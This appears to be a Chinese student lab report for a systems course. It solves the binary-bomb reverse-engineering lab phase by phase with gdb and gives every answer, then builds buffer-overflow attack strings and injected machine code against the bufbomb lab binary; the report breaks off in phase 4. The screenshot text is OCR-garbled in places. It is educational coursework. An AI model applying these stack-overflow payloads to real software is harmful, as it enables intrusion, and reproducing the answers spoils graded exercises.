[image: image58.png]08048b90 <phase_1>:

8048b9 83 ec 1c sub Sexic,%esp

80489 C7 44 24 04 44 a1 04  movl  $0x804a144,0x4(%esp)
80489 o8

8048bob: 8b 44 24 20 mov  0x20(%esp),%eax
8048b9 89 04 24 mov  %eax,(%esp)

8048ba: e8 73 04 60 00 call  804901a <strings_not_equal>
8048ba 85 co test  %eax,%eax

8048ba 74 o5 je 8048bbe <phase_1+0x26>
8048bal e8 75 05 60 00 call 8049125 <explode_bomb>
8048bb 83 c4 1c add soxic,%esp|

8048bb: a3 ret
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1.1. 实验概述
本实验中，你要使用课程所学知识拆除一个“binary bombs”来增强对程序的机器级表示、汇编语言、调试器和逆向工程等方面原理与技能的掌握。

1.2. 实验内容
一个“binary bombs”（二进制炸弹，下文将简称为炸弹）是一个Linux可执行C程序，包含了6个阶段（phase1~phase6）。炸弹运行的每个阶段要求你输入一个特定的字符串，若你的输入符合程序预期的输入，该阶段的炸弹就被“拆除”，否则炸弹“爆炸”并打印输出 "BOOM!!!"字样。实验的目标是拆除尽可能多的炸弹层次。


每个炸弹阶段考察了机器级语言程序的一个不同方面，难度逐级递增：


* 阶段1：字符串比较


* 阶段2：循环


* 阶段3：条件/分支


* 阶段4：递归调用和栈


* 阶段5：指针


* 阶段6：链表/指针/结构

另外还有一个隐藏阶段，但只有当你在第4阶段的解之后附加一特定字符串后才会出现。

1.2.1. 阶段1 字符串比较

1. 任务描述：输入一个合适的字符串，避免炸弹爆炸。

2. 实验设计：把程序反汇编，查看代码，输入随意的字符串，用gdb调试程序，查看目的地址的内容，拆解炸弹。使用的工具有objdump和gdb。

3. 实验过程：

在<main>中找到调用<phase_1>的地方，发现是先调用一个<read_line>函数输入一字符串，再调用<phase_1>

[image: image1.jpg]



在<phase_1>中，调用了一个<strings_not_equal>，根据名称推断，这个函数功能是判断两个字符串是否相等，调用之前，有两个入栈的操作，即给该函数传递了两个参数，也就是两个字符串的起始地址，分别是0x804a144和0x20(%esp)，后者是输入的字符串的起始地址，则前者为保存在程序中要参与比较的字符串，在gdb中调试程序，设置断点，单步执行到调用字符串比较函数之前，查看0x804a144地址中的内容：
[image: image2.png](gdb) x/s ©x804a144
0x804a144: "Houses will begat jobs, jobs will begat houses
(adb) B





字符串Houses will begat jobs, jobs will begat houses.即为第一个炸弹的答案。

4. 实验结果：

运行bomb:
[image: image3.png]xrr@xrr-virtual-machine:~/U201414803$ ./bomb

Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!

Houses will begat jobs, jobs will begat houses.

Phase 1 defused. How about the next one?




输入密码字符串，破解成功。

1.2.2. 阶段2 循环

1. 任务描述：输入一个合适的字符串，避免炸弹爆炸。

2. 实验设计：根据反汇编代码，用gdb调试工具对代码的执行情况进行分析，尝试可能的答案，拆除炸弹。使用的工具有objdump和gdb。在gdb调试时，在r命令后加上保存密码串的文件名key.txt，可以把文件中的答案直接加载到程序中，免去重复输入的麻烦。

3. 实验过程：

在<main>中找到调用<phase_2>的地方，还是先调用一个<read_line>函数输入一字符串，再调用<phase_2>

在<phase_2>中，调用了一个<read_six_numbers>，应是从输入的内容中读出6个数字，
[image: image4.png]8048bc8: e8 7f 05 00 00 call | 804914c <read_six_numbers>

8048bcd: 83 7c 24 18 01 cmpl  $0x1,0x18(%esp)
8048bd2 74 1e je 8048bf2 <phase_2+0x3e>
8048bd4 e8 4c 05 00 00 call 8049125 <explode_bomb>





调用之后先比较1和0x18(%esp)，不相等则爆炸，在gdb中查看值，0x18(%esp)为输入的第一个数值，后面依次为输入的第二个第三个……所以第一个数是应为1，后面跳到“lea    0x1c(%esp),%ebx”、“lea    0x30(%esp),%esi”，再跳转到

“mov    -0x4(%ebx),%eax

  add    %eax,%eax

  cmp    %eax,(%ebx)”，即比较前一个数的两倍与后一个数是否相等，相等则跳转：

“add    $0x4,%ebx

  cmp    %esi,%ebx”继续之前两倍比较的过程，所以输入的6个数应为1,2,4,8,16,32。

4. 实验结果：

把第一个炸弹的密码保存到文件key.txt中，并把文件作为参数运行bomb：
[image: image5.png]Xrr@xrr-virtual-machine:~/02014148035 ./bomb key.txT
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!

Phase 1 defused. How about the next one?

12481632

That's number 2. Keep goin:





再输入分析得到的密码1 2 4 8 16 32 ，第二个炸弹破解成功。

1.2.3. 阶段3 条件/分支

1. 任务描述：输入一个合适的字符串，避免炸弹爆炸。

2. 实验设计：根据反汇编代码，用gdb调试工具对代码的执行情况进行分析，尝试可能的答案，拆除炸弹。使用的工具有objdump和gdb。在gdb调试时，在r命令后加上保存密码串的文件名key.txt，可以把文件中的答案直接加载到程序中，免去重复输入的麻烦。

3. 实验过程：

在<main>中找到调用<phase_3>的地方，还是先调用一个<read_line>函数输入一字符串，再调用<phase_3>

在<phase_3>中，先调用了<__isoc99_sscanf@plt>，马上比较1和%eax：

[image: image6.png]8048860 <__isoc99_sscanf@plt>
$0x1,%eax

8048c33 <phase_3+0x31>
8049125 <explode_bomb>



输入一个数时，eax总是1，与输入的值无关，尝试输入两个数，eax取了2，可以继续执行，不会直接explode。

继续，8048ca0处是调用的explode函数，所以输入的第一个数应小于等于7，

[image: image7.png]cmpl  $0x7,0x18(%esp)
ja | 8048ca® <phase 3+0x9e>



 实验过程中输入了3，继续：

[image: image8.png]mov 0x18(%esp) ,%eax
jmp  *0x804a1a6(,%eax,4)|



0x804a1a0+%eax×4=0x804a1ac，查看此处的内容：

[image: image9.png](9db) x/10x ©x8@4alac
x804atac 0x08048C64




 应该跳转到0x08048c64：

[image: image10.png]8048c64: D!

8048c69:
8048c6e:
804870
804875
8048c7a
8048c7C:
8048c81:
804886
804888
8048c8d
8048c92
804894
804899

8048c9e:

00
03

00
03

00
03

mov
sub
Jmp
nov
add
Jmp
nov
sub
Jmp
nov
add
Jmp
nov
sub
Jmp
call

cmpl
ig
cmp
je
call
add
nop
ret

50x0,%eax

$0x3d9, %eax

8048c75 <phase_3+0x73>
50x0, %eax

$0x3d9, %eax

8048c81 <phase_3+0x7f>
500, %eax

$0x3d9, %eax

8048c8d <phase_3+0x8b>
500, %eax

$0x3d9, %eax

8048c99 <phase_3+0x97>
500, %eax

$0x3d9, %eax

8048caa <phase_3+0xa8>
8049125 <explode_bomb>
500, %eax
$0x5,0x18(%esp)
8048cb7 <phase_3+0xbs>
oxic(%esp),%eax
8048cbc <phase_3+0xba>
8049125 <explode_bomb>
$0x2c,%esp




eax先赋值为0，再不断减去3D9，加上3D9，最后一次是减去3D9，此时eax=-3D9，十进制为-985,再与输入的第二个数比较，相等则结束，所以输入的第二个数应为-985.即炸弹三的答案之一为3 -985.。（不是唯一的解）

4. 实验结果：

把前两个炸弹的密码保存文件，运行bomb：
[image: image11.png]xrr@xrr-virtual-machine:~/U2014148035 ./bomb key.txt
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!

Phase 1 defused. How about the next one?

That's number 2. Keep going!

3 -985

Halfway there!




输入拆得的密码3 -985 ，破解成功。

1.2.4. 阶段4 递归调用和栈

1. 任务描述：输入一个合适的字符串，避免炸弹爆炸。

2. 实验设计：根据反汇编代码，用gdb调试工具对代码的执行情况进行分析，尝试可能的答案，拆除炸弹。使用的工具有objdump和gdb。在gdb调试时，在r命令后加上保存密码串的文件名key.txt，可以把文件中的答案直接加载到程序中，免去重复输入的麻烦。

3. 实验过程：

在<main>中找到调用<phase_4>的地方，还是先调用一个<read_line>函数输入一字符串，再调用<phase_4>

在<phase_4>中有：

[image: image12.png]call 8048860 <__ isoc99_sscanf@plt>
cmp $0x2,%eax
jne  8648d43 <phase_4+0x38>



8048d43是explode，参考炸弹三，应该输入两个参数；

[image: image13.png]mov 0x18(%esp) ,%eax

sub  $6x2,%eax

cmp $ex2,%eax

jbe  8p48d48 <phase_4+0x3d>
call 8049125 <explode_bomb>



输入的第二个数赋值给eax，再减2，应该小于等于2，所以输入的数应小于等于4，实验中输入的是3；

[image: image14.png]call
cmp

Ox18(%esp) ,%eax

%eax, 0x4(%esp)

$0x9, (%esp)

8e48cc1 <funca>
oxic(%esp),%eax
8048d67 <phase_4+0x5C>



输入的数入栈，调用<func4>，开始先看了<func4>的代码并且进入进行调试，但是没有得出结果，后来就跳过了func4的调试，直接执行了call func4这条指令，根据后面的cmp指令，在gdb中查看执行后eax的值，是264，所以输入的参数应该是264。

4. 实验结果：

把前三个阶段的密码保存文件，运行bomb：
[image: image15.png]Xrr@xrr-virtual-machine:~/U2014148035 ./bomb key.txt
welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!

Phase 1 defused. How about the next one?

That's number 2. Keep going!

Halfway there!

264 3

So you got that one. Try this one.




输入拆得的第四阶段的密码 264 3 ，第四个炸弹破解成功。

1.2.5. 阶段5 指针

1. 任务描述：输入一个合适的字符串，避免炸弹爆炸。

2. 实验设计：根据反汇编代码，用gdb调试工具对代码的执行情况进行分析，尝试可能的答案，拆除炸弹。使用的工具有objdump和gdb。在gdb调试时，在r命令后加上保存密码串的文件名key.txt，可以把文件中的答案直接加载到程序中，免去重复输入的麻烦。gdb设置断点时，可以用“b *指令地址”，不用再从某个函数开始的地方单步运行到需要的地方。

3. 实验过程：

在<main>中找到调用<phase_5>的地方，还是先调用一个<read_line>函数输入一字符串，再调用<phase_5>

在<phase_5>中有：

[image: image16.png]call 8048860 <__isoc99_sscanf@plt>
cmp $0x1,%eax

jg  8048d9c <phase_5+0x31>

call 8049125 <explode bomb>



根据之前的实验结论，输入的参数应大于1个。

[image: image17.png]mov.
and

cmp
je

0x18(%esp) ,%eax

$0xf, %eax
%eax,0x18(%esp)
$0xF,%eax

8048dd6 <phase_5+0x6b>



把输入的第一个参数取低4位再放回，若低4位表示了0xf，则explode；

[image: image18.png]8048dac:
8048db1:
8048db6:
8048db9:
8048dco:
8048dc2:
8048dc5:
8048dc7:
8048dcb:
8048dce:
8048ddo:
8048dd4:
8048dd6:
8048ddb:
8048dde:

bs

83
8b
01
83
75
89
83
75
3b
74
e8
83
3

00
00
c2
04
c1
8
ef

fa
06

05
4a
ca

00
00
01
85

of

24
of

24

03
2c

<o

18

1c

a1l 04 08

nov
add
nov
add
cmp
jne
nov
cmp
jne
cmp
je
call
add
ret

SO0, %ecx

$0x0, %edx

S0x1,%edx
©x804a1c0(,%eax,4) ,%eax
%eax, %ecx

$0xF, %eax

8048db6 <phase_5+0x4b>
%eax,0x18(%esp)

$0xf, %edx

8048dd6 <phase_5+0x6b>
oxic(%esp),%ecx
8048ddb <phase_5+0x76>
8049125 <explode_bomb>
$0x2c,%esp




这段代码是把0x804a1c0+eax*4作为地址，把数据放到eax中，再把eax代入地址计算公式中，得到一个新的eax值，直到eax取到0xf，而且取的次数也恰好应该是15次，ecx为取到的所有数的和，也是输入的第2个参数。所以，把0x804a1c0处开始的多个数据读出来：

[image: image19.png](gdb) ~ x/36x ©x8064a1ce

0x804a1c® <array.3141>: ©x0000000a 0X00000002 0x0000000e 0X00000007

0x804a1de <array.3141+16>: 0x00000008 0x0000000C 0x0000000 0x0000000b
0x804a1e® <array.3141+32: 0X00000000 0X00000004 0X00000001 0x0000000d
0x804a1f0 <array.3141+48: 6x00000083 ©X00000009 6X00000006 ©x00000005




再把数据之间的指向关系逆向写出来（从要最后得到的0xf开始）：

[image: image20.png]=14
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[image: image21.png](50
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推断出第一个参数应该是5，开始计算出第二个参数是0~0xf的和即120，测试错误；应该去掉开始的5，第二个参数应该是115，测试正确。
所以炸弹五的答案应该是5 115。


4. 实验结果：

把前四个炸弹的密码保存文件，运行bomb：
[image: image23.png](xrr@gxrr-virtual-machine:~/Uz014148035 ./bomb key.txt
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!

Phase 1 defused. How about the next one?

That's number 2. Keep going!

Halfway there!

so you got that one. Try this one.

5 115
lGood worl

on to the next...




输入拆得的答案5 115 后，第五阶段破解成功。

1.2.6. 阶段6 链表/指针/结构

1. 任务描述：输入一个合适的字符串，避免炸弹爆炸。

2. 实验设计：根据反汇编代码，用gdb调试工具对代码的执行情况进行分析，尝试可能的答案，拆除炸弹。使用的工具有objdump和gdb。在gdb调试时，在r命令后加上保存密码串的文件名key.txt，可以把文件中的答案直接加载到程序中，免去重复输入的麻烦。gdb设置断点时，可以用“b *指令地址”，不用再从某个函数开始的地方单步运行到需要的地方。

3. 实验过程：

在<main>中找到调用<phase_6>的地方，还是先调用一个<read_line>函数输入一字符串，再调用<phase_6>

在<phase_6>中有：

[image: image24.png]8048df3: e8 54 03 00 00
8048df8: be 00 00 00 00
8048dfd: 8b 44 b4 10
8048e01: 83 e8 01
8048e04: 83 8 05
8048e07: 76 05

8048e09: e8 17 03 00 00
8048e0e:
8048e11
8048e14
804816
8048e1b
8048e1d
8048e1f: 8b 44 9c 10
8048e23: 39 44 b4 oc
8048e27: 75 05

8048e29: e8 f7 02 00 00
g8048e2e: 83 c3 01
8048e31: 83 fb 05
8048e34: 7e e9

alu
nov
nov
sub
cmp
jbe
call
add
cmp
jne
nov
Jmp
nov
cmp
ne
call

cmp

8084914c <read_six_numbers>
500, %esi
ox10(%esp,%esi,4),%eax
$0x1,%eax

$0x5, %eax

8048ede <phase_6+0x2f>
8049125 <explode_bomb>
S0x1,%esi

$0x6, %esi

8048e1d <phase_6+0x3e>
50x0, %ebx

8048e55 <phase_6+0x76>
%esi, %ebx
0x10(%esp,%ebx,4) ,%eax
%eax, 0xc(%esp,%esi, 4)
8048e2e <phase_6+0x4f>
8049125 <explode_bomb>
$0x1,%ebx

$0x5, %ebx

8048e1f <phase_6+0x46>




读入6个数，并且各不相等且小于等于6，所以6个数是1,2,3,4,5,6.
继续执行，程序中有一句是：“mov    $0x804c13c,%edx”，查看0x804c13c处的数据：

[image: image25.png](gdb) x/20x 0x804ci3c

0x804c13C
5b
0x804c14C
03
0x804c15¢C
6
0X804c16C
95
0x804c17C
00

<nodel>:
<node2+4>:
<node3+8>:
<node5>:

<node6+4>:

0x000001fa

0X00000002

0x0804C160

0x0000016e

0X00000006

0X00000001

0x0804c154

0x0000013e

0X00000005

0x00000000

0x0804c148
0x000001b6
0X00000004
0x0804c178

0x0c015893

0x000003|

0x000000|

0x0804c1]

0x000001|

0x000000|




发现是一个有6个节点的链表，每个节点占三个单元，左为数据，中为按顺序输入的6个数，右为下一节点的地址，推断应该按数据的大小输入的6个数，先从小到大排序2 1 3 6 5 4，测试boom，反过来4 5 6 3 1 2测试通过。所以炸弹六答案为4 5 6 3 1 2。


4. 实验结果：

把前五个阶段的答案保存文件，运行bomb，输入得出的答案：
[image: image26.png]xrr@xrr-virtual-machine:~/U201414803% ./bomb key.txt
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!

Phase 1 defused. How about the next one?

That's nunber 2. Keep goin
Halfway there!

o you got that one. Try this one.
Good work! On to the next...
456312
Congratulation:

rettveRdeuscdReheibonD




第六阶段的答案正确。

1.2.7. 阶段7 secret

1. 任务描述：输入一个合适的字符串，避免炸弹爆炸。

2. 实验设计：根据反汇编代码，用gdb调试工具对代码的执行情况进行分析，尝试可能的答案，拆除炸弹。使用的工具有objdump和gdb。在gdb调试时，在r命令后加上保存密码串的文件名key.txt，可以把文件中的答案直接加载到程序中，免去重复输入的麻烦。gdb设置断点时，可以用“b *指令地址”，不用再从某个函数开始的地方单步运行到需要的地方。

3. 实验过程：

在反汇编文件中查找“secret”，发现是在<phase_defused>中调用了<secret_phase>：

[image: image27.png]a3 04
80492e9
80492ea
80492ee
80492f1
8049276
80492f8: 75 1d

80492fa: C7 04 24 38 a2 04 08
8049301: e8 ea f4 ff ff
8049306: C7 04 24 60 a2 04 08
804930d: e8 de f4 ff ff
8049312: e8 ec fb ff ff
8049317: 7 04 24 98 a2 04 08

movl

lea
mov

call
test
Jne

novl
call
movl
call
call

50x804a372,0x4(%esp)

ox2c(%esp) ,%eax

%eax, (%esp)

804961a <strings_not_equal>
%eax, %eax

8049317 <phase_defused+0x81>
$0x804a238, (%esp)

80487f0 <puts@plt>
$0x804a260, (%esp)

80487f0 <puts@plt>

8048703 <thase>
56x804a298, (%esp)




并且在调用之前先调用了<strings_not_equal>来比较字符串，字符串不相等则跳过，所以0x804a372处存放的是进入secret关卡的密码，查看该处的内容：

[image: image28.png](gdb) x/s ©x804a372
©x804a372: "DrEVil"



所以进入secret_phase的密码是“DrEvil”字符串。

然后查看分析secret_phase的反汇编代码：

[image: image29.png]call

lea
cmp
jbe
call

80488d0 <strtol@plt>

%eax, %ebx

-0x1(%eax) ,%eax

S0x3e8, %eax

8048f35 <secret_phase+0x32>
8049125 <explode._bombs|



输入的数放在eax中，再放入ebx，然后eax-1赋给eax，要满足eax<=0x3e8，

[image: image30.png]movl
call
cmp

call

%ebx,0x4(%esp) ebx /JHl/\HJZ 3
$0x804c088, (%esp)— -k
8048eb2 <fun7>

soxa,%eax fun7iR[EHER F14
8048faf <secret_phase+0xdc>
8049125 <explode bomb>



ebx为输入的参数，0x804c088为一个地址，都作为参数传给了fun7，然后查看0x804c088处的内容：

[image: image31.png](gdb) x/406xw ©x804cO88

0x804c088
0x804c098
0x804c0a8
0x804cOb8
0x804cOC8
'0x804c0d8
0x804c0e8
0x804c0f8
0x804C108
©x804c118

<n1>: 0x00000024 0x0804C094 0x0804C0a0 0X00000008
<n21+4>: 0x0804c0ca. 0x0804c0ac 0x00000032 0x0804c0b8
<n22+8> 0x0804c0d0 0X00000016 0x0804c118 0x0804c100
<n33>: 0x0000002d 0x0804c0dc 0x0804c124 0X00000006
<n31+4> 0x0804c0e8 0x0804c10C 0x0000006b 0x0804c0f4.
0x0804C130 0x00000028 0X00000000 0x00000000
0X00000001 0X00000000 0X00000000 0X00000063
<na7+4>: 0X00000000 0X00000000 0x00000023 0x00000000
<n44+8>: 0X00000000 0X00000007 0x00000000 0x00000000
<n43: ©x00000014 ©x00000000 ©x00000000 ©x0000002f




可以把三个单元分为一组，第一个单元是数据，后两个单元是地址，根据地址的指向查看数据并写出来，指明关系，可以发现这是一个二叉排序树，传入的地址为树的根，把树还原出来如下图所示：

[image: image32.png]


一开始根据阶段4的经验，直接执行了call fun7指令，没有进入fun7进行分析，但是没有得出返回值与输入的数据的关系，所以还是需要查看fun7：

[image: image33.png]0x20(%esp) ,%edx
Bx24(%esp) ,%ecx

S%edx, %edx

8048ef9 <fun7+0x47> JR[E-1
(%edx) , %ebx

secx, %ebx  ecxIfEAHIEL

8048edb <fun7+0x29>



[image: image34.png]ecx ox7 7
edx ©x804C088



edx为传入的地址，ecx为传入的数，若地址为0即NULL，执行跳转指令后发现是返回-1，否则继续。

[image: image35.png]call
add
imp

%ecx,0x4(%esp)
ox4(%edx) ,%eax
%eax, (%esp)

8048eb2 <fun7>
%eax, %eax

8o48efe <fun7+oxac>



若地址指向的数大于传入的数，4(%edx)是指向当前节点左孩子的地址，所以是再把当前节点左孩子指针和输入的数传给fun7，进行递归调用，执行跳转语句后，返回2×fun7。

[image: image36.png]30x0,%eax

%ecx, %ebx

8048efe <fun7+exdc>
%ecx,0x4(%esp)
ox8(%edx) ,%eax

s%eax, (%esp)|

8048eb2 <fun7>
ox1(%eax,%eax,1),%eax
8048efe <fun7+0x4c>



如果传入的数与地址指向的数相等，返回0，指向的数小于传入的数，则把右孩子和输入的数作为参数调用fun7，返回2×fun7+1。

[image: image37.png]movl  $0x804c088, (%esp)— il
call  8e4seb2 <fun7>

cmp  $6x4,%eax fun7iR[EIERF4
je 8048faf <secret_phase+0xdc>
call 8049125 <explode_bomb>



回到secret_phase中，所有递归调用完成之后，应该返回4，但是直接按照fun7的功能来推断应该输入的数还是比较麻烦，由于已经找到了二叉排序树，节点也不是很多，所以可以逐个测试，很快就可以发现应该输入的数是7.所以炸弹secret的答案是7。

4. 实验结果：

在phase_4答案后面加入字符串“Dr Evil”后，出现了秘密关卡：
[image: image38.png]xrr@xrr-virtual-machine:~/U201414803% ./bomb key.txt
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!

Phase 1 defused. How about the next one?

That's number 2. Keep going!

Halfway there!

o you got that one. Try this one.

Good work! On to the next...

Curses, you've found the secret phase!

But finding it and solving it are quite different.





输入7，秘密关卡拆弹成功：
[image: image39.png]xrr@xrr-virtual-machine:~/U2014148035 ./bomb key.txt
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!

Phase 1 defused. How about the next one?

That's number 2. Keep going!

Halfway there!

o you got that one. Try this one.

Good work! On to the next...

Curses, you've found the secret phase!

But finding it and solving it are quite different...
7

Wow! You've defused the secret stage!
ICongratulations! You've defused the bomb!





1.3. 实验小结
本次试验用到了很多函数调用的知识，每一阶段都有函数的调用，堆栈的变化，但是得益于gdb调试工具的便利，可以不用仔细分析每一句代码，每一个地址的内容是如何变化的，因为很多时候都可以通过gdb来查看程序运行时的数据变化，gdb查看变量的形式也很丰富，可以设定几个字节位一个单元来进行查看，查看的数量，查看的形式（字符串，十六进制等），善于利用这些功能，可以降低试验的复杂程度，只要分析一些关键的代码就可以；有时直接分析程序代码会比较麻烦，当可能的答案不会很多时，就可以逐个尝试，较为快捷地得到结果。
通过这次试验，我巩固了之前学的汇编的知识，加强了对程序内部的执行过程的理解，也熟悉了循环，分支，递归等算法对应的汇编语言的特点和实现方式，对计算机系统较为底层的工作有了更深的理解。
实验3：         缓冲区溢出攻击               
3.1 实验概述
本次试验的目的是加深对IA-32函数调用规则和栈结构的具体理解，要求对一个程序进行5个不同难度的缓冲区溢出攻击，实现源程序没有的行为。
3.2 实验内容
对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击（buffer overflow attacks），也就是设法通过造成缓冲区溢出来改变该可执行程序的运行内存映像，继而执行一些原来程序中没有的行为。

3.2.1 阶段1 smoke
1. 任务描述：构造一个攻击字符串作为bufbomb的输入，而在getbuf()中造成缓冲区溢出，使得getbuf()返回时不是返回到test函数继续执行，而是转向执行smoke。

2. 实验设计：把buf缓冲区填满，直到溢出，使溢出的部分把正确的返回地址修改为smoke函数的地址，实现攻击，调用smoke函数。
3. 实验过程：

a. 在bufbomb的反汇编源代码中找到smoke函数，记下它的开始地址：[image: image40.png]08048c90 <smoke:

8048C9 55 push  %ebp
8048c9: 89 es mov  %esp,%ebp
8048c93: 83 ec 18 sub HOSER T

8048C9

€7 04 24 13 a1 04 08  movl  $Ox804a113,




b. 同样在bufboom的反汇编源代码中找到getbuf函数，观察它的栈帧结构：[image: image41.png]080491ec <getbuf>:
86491ec: 55
86491ed 89
83
8d
89
e8
b8
8649202: 9
804926 a3

es

lec 38

45 d8

04 24

55 fb ff ff
61 00 060 00

push
mov
sub
lea
mov
call
mov
leave
ret

%ebp

%esp,%ebp

$0x38, %esp
-0x28(%ebp) ,%eax
%eax, (%esp)
8048d52 <Gets>
$0x1,%eax



可以看到它的栈帧是0x38+4个字节，buf缓冲区是0x28个字节。

c. 设计攻击字符串。攻击字符串从buf缓冲区开始填充，直到可以用smoke函数的返回地址覆盖之前的eip的内容，所以攻击字符串应该有0x28+4+4=48个字节。最后4个字节是smoke的返回地址08048c90，小段方式存放。可以设计为：00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 8c 04 08。

d. 把上述攻击字符串写在lv0.txt文件中，准备测试。

e. 测试。在bufbomb所在文件夹执行cat lv0.txt |./hex2raw | ./bufbomb -u U201414803命令。

4. 实验结果：执行命令后，结果如下：[image: image42.png]Userid: U201414803
Cookie: ©x323b9deb
Type string:Smoke
VALTD

NICE JOB!

You called smoke()



说明成功对源程序进行了第一阶段的攻击，调用了smoke函数。

3.2.2 阶段2 fizz
1. 任务描述：构造一个攻击字符串作为bufbomb的输入，在getbuf()中造成缓冲区溢出，使得本次getbuf()返回时不是返回到test函数继续执行，而是转向执行fizz()。并且把自己的cookie作为函数的参数传入fizz

2. 实验设计：先按照阶段1的方法把返回地址改为fizz的地址，再分析fizz的反汇编代码，把cookie传入栈中正确的位置。

3. 实验步骤：

a. 在bufbomb的反汇编源代码中找到smoke函数，记下它的开始地址：[image: image43.png]08048cba <fizz>:
8048cba: 55 push  %ebp
8048cbb: 89 e5 mov  %esp,%ebp





b. 在反汇编源代码中观察fizz函数：[image: image44.png]cba <fizz>:

cba:
cbb:
cbd:
cco
cc3

55
89 e5

83 ec 18

8b 45 08

3b 65 20 c2 04 08

push
mov
sub

cmp

%ebp

%esp, %ebp
$0x18,%esp
ox8(%ebp) ,%eax
0X804C220,%eax



可以看出参数是放在0x8(%ebp)中的，系统的cookie应该保存在0x804c220处，通过gdb调试，也证明了系统cookie的保存位置，所以只要设法把cookie写到0x8(%ebp)中就可以。

c. 分析ebp在函数调用与返回过程中的变化，在getbuf函数返回的过程中，通过“push %ebp,%esp”把getbuf中ebp的值保存到了esp中，又通过两个“pop”指令使esp值加8，返回即调用fizz函数时，通过“pop”指令使esp-4，“mov %esp,%ebp”把ebp的值恢复为了原值加4，所以找到了需要放入cookie的地址，即阶段一后面再加8个字节，后四个字节为cookie的值，小端存放，并把smoke的地址改为fizz的地址。所以可以把攻击字符串设计为：00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba 8c 04 0800 00 00 00 eb 9d 3b 32。

d. 把上述字符串保存到lv1.txt文件中。

e. 测试。在bufbomb所在文件夹执行cat lv1.txt |./hex2raw | ./bufbomb -u U201414803命令。

4. 实验结果：执行命令后，结果如下：

[image: image45.png]Userid: U201414803

Cookie: 0x323bodeb

Type string:Fizz!: You called fizz(ex323b9deb)
VALID

NICE JOB!




说明成功对源程序进行了第二阶段的攻击，调用了fizz函数并给fizz函数传入了正确的参数。
3.2.3 阶段3 bang
1. 任务描述：设计包含攻击代码的攻击字符串，所含攻击代码首先将全局变量global_value设置为你的cookie值，然后转向执行bang()。

2. 实验设计：全局变量global_value不在栈中，所以要通过攻击代码实现对全局变量的修改，攻击代码要包含简单的赋值指令改变全局变量的值，还要能够改变函数的返回地址，而且要把攻击代码写入到栈中。

3. 实验步骤：

a. 查看bang的反汇编代码：

[image: image46.png]08048d05 <bang>:

55

89 e5

83 ec 18

a1 18 c2 04 68
3b 065 20 c2 04 08

push

%ebp

%esp, %ebp
$0x18,%esp
0x804c218, %eax
8x804c220,%eax|





可发现有两个地址的值做比较，推测出其中一个是全局变量，另一个是系统保存的cookie值；

b. 调试程序bufbomb，查看两个地址的值：

[image: image47.png](gdb) x/1x 0x804c218

x804c218 <global_value>: 0X00000000
(gdb) x/1x 0x804c220

)x804c220 <cookie>:  0x323bodeb




发现0x804c218是全局变量，0x804c220是cookie；

c. 所以攻击代码应该包含“mov $0x323b9deb,%eax”与“mov %eax,0x804c218”这两条指令来实现改变全局变量的功能；

d. 执行完上述两条指令后代码应该再转移到bang函数处执行，所以可以把函数bang的地址压栈，然后ret，使代码执行转移到bang函数处。攻击代码应该再包含“push $0x08048d05”与“ret”两条指令；

e. 把上述四句指令保存到汇编文件asm.s中，然后用gcc将该文件编译成机器代码，再把asm.o反汇编，保存到asm.oo文件中，查看二进制机器指令字节序列：

[image: image48.png]b8 eb 9d 3b 32 mov

0x8048d05
3 ret




可以写出攻击代码的字节序列为“b8 eb 9d 3b 32 a3 18 c2 04 08 68 05 8d 04 08 c3”；

f. 要再想办法让这段代码执行，参照阶段1的方法，应该把攻击字符串的最后4个字节的值改为保存这段字符串的起始地址，也就是调用Gets时传入的地址：

[image: image49.png]lea |-ex28(%ebp) ,%eax
mov %eax, (%esp)
call 8048d52 <Gets>




用gdb查看esp的值：[image: image50.png]ebp

0x55683abe




0x55683ab0-0x28=0x55683a88，所以最后四字节应为“88 3a 68 55”

g. 综合上述条件，攻击字符串可以设计为“b8 eb 9d 3b 32 a3 18 c2 04 08 68 05 8d 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 3a 68 55”

h. 把上述字符串保存到lv2.txt中；

i. 测试。在bufbomb所在文件夹执行cat lv2.txt |./hex2raw | ./bufbomb -u U201414803命令。

4. 实验结果：执行命令后，结果显示如下：

[image: image51.png]U201414803

0x323b9deb

Type string:Bang!: You set global_value to 0x323bodeb
VALID

NICE JOB!





说明正确对程序进行了第三阶段的攻击，调用了bang函数并把全局变量的值修改为cookie。
3.2.4 阶段4 boom
1. 任务描述：构造一个攻击字符串，使得getbuf函数不管获得什么输入，都能将正确的cookie值返回给test函数，而不是返回值1。除此之外，你的攻击代码应还原任何被破坏的状态，将正确返回地址压入栈中，并执行ret指令从而真正返回到test函数。

2. 实验设计：分析getbuf函数和test函数的反汇编代码，同样跟上一阶段相似，应该把攻击代码放到堆栈段中并执行。

3. 实验步骤：

a. 分析两个函数的代码：

[image: image52.png]call  88491ec <getbuf>
mov ’(xeax,%ebx?



[image: image53.png]<getl

OuT==<

es
ec 38
45 dg
04 24
55 fb ff Ff
01 00 00 00

push
mov
sub
lea
mov
call

leave
ret

sebp

%esp, %ebp
$6x38,%esp
-0x28(%ebp) ,%eax
s%eax, (%esp)
8048d52 <Gets>




函数的返回值应该是由“mov $0x1,%eax”这句指令实现的，但是程序被攻击后已经并不会再执行这一句了，所以要把这一句加到攻击代码中；

b. 这一句执行后函数应该返回到test中调用getbuf语句的下一语句地址：

[image: image54.png]8048e7c: e8 6b 03 00 00 call 8e49lec <getbuf>
89 3 mov  %eax,%ebx





所以要把0x8048e81入栈，然后ret。

